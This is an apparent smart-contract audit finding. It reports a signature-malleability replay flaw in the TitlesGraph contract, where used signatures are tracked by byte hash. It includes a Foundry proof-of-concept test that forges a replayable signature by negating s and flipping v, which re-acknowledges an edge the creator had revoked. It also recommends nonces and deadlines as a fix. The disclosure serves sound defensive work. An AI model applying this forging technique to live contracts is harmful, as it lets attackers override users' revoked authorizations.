Breezy Lemonade Shark

medium

# Signatures can be replayed by abusing signature malleability

## Summary

The TitlesGraph contract tracks used signatures by storing their hash and marking them as used. However, signatures can be manipulated to keep them valid while changing their associated points in the elliptic curve, leading to signature replay attacks.

## Vulnerability Detail

The TitlesGraph contract allows to control the acknowledgment of edges using signatures. The creator of the destination node in the edge can create a signature that any account can submit on their behalf.

To prevent reusing a signature, the contract stores its hash in a mapping and checks if it has been used before:

```solidity
modifier checkSignature(bytes32 edgeId, bytes calldata data, bytes calldata signature) {
    bytes32 digest = _hashTypedData(keccak256(abi.encode(ACK_TYPEHASH, edgeId, data)));
    if (
        !edges[edgeId].to.creator.target.isValidSignatureNowCalldata(digest, signature)
            || _isUsed[keccak256(signature)]
    ) {
        revert Unauthorized();
    }
    _;
    _isUsed[keccak256(signature)] = true;
}
```

An attacker can use signature malleability attacks to create a valid signature while changing the values for the points in the elliptic curve. This will generate a different signature at the byte level, that leads to a different hash, while keeping the signature valid. See attached proof of concept for a detailed walkthrough.

## Proof of Concept

Notes for the test:

- The contract uses a harness that exposes the `getDigest()` function to facilitate building the signature.
- The acknowledgment functionality is inherently broken by another bug (see issue titled "Edges cannot be acknowledged"). This test assumes the contract has been fixed, else there is no way to demonstrate the issue.

```solidity
function test_signature_malleability() public {
    TitlesGraphHarness graph = new TitlesGraphHarness(address(this), address(this));

    address entityFrom = makeAddr("entityFrom");
    address creatorFrom = makeAddr("creatorFrom");
    (address creatorTo, uint256 creatorToPk) = makeAddrAndKey("creatorTo");

    Node memory from = Node({
        nodeType: NodeType.TOKEN_ERC1155,
        creator: Target({target: creatorFrom, chainId: block.chainid}),
        entity: Target({target: entityFrom, chainId: block.chainid}),
        data: abi.encode(1)
    });

    Node memory to = Node({
        nodeType: NodeType.ACCOUNT,
        creator: Target({target: creatorTo, chainId: block.chainid}),
        entity: Target({target: creatorTo, chainId: block.chainid}),
        data: ""
    });

    // Create edge
    vm.prank(entityFrom);
    graph.createEdge(from, to, "");

    bytes32 edgeId = keccak256(abi.encode(from, to));

    // edge is by default unack
    (,,bool acknowledged,) = graph.edges(edgeId);
    assertFalse(acknowledged);

    // Creator from to signs a permit
    bytes memory edgeData = "";
    bytes32 digest = graph.getDigest(edgeId, edgeData);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(creatorToPk, digest);
    bytes memory signature = abi.encodePacked(r, s, v);

    // ack edge using signature
    graph.acknowledgeEdge(edgeId, edgeData, signature);

    // edge is now ack
    (,,acknowledged,) = graph.edges(edgeId);
    assertTrue(acknowledged);

    // creator decides to unack the edge
    vm.prank(creatorTo);
    graph.unacknowledgeEdge(edgeId, edgeData);

    (,,acknowledged,) = graph.edges(edgeId);
    assertFalse(acknowledged);

    // Attacker reuses the signature by abusing malleability

    // move S to the other side
    bytes memory forgedSignature;
    {
        uint256 order = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
        uint256 sUint =  uint256(s);
        bytes32 forgedS = order > sUint ? bytes32(order - sUint) : bytes32(sUint - order);
        // flip V
        uint8 forgedV = v == 27 ? 28 : 27;
        forgedSignature = abi.encodePacked(r, forgedS, forgedV);
    }

    graph.acknowledgeEdge(edgeId, edgeData, forgedSignature);

    // Edge is now back to ack!
    (,,acknowledged,) = graph.edges(edgeId);
    assertTrue(acknowledged);
}
```

## Impact

An attacker can replay signatures used in the TitlesGraph contract by manipulating these into valid signatures that are different at the byte level, and will be considered as unused.

## Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/graph/TitlesGraph.sol#L31

## Tool used

Manual Review

## Recommendation

Include a nonce in the signature payload and validate replayment by checking against the current nonce value for an account. Also consider adding a timestamp that works as a deadline, this will enable signatures to eventually expire.
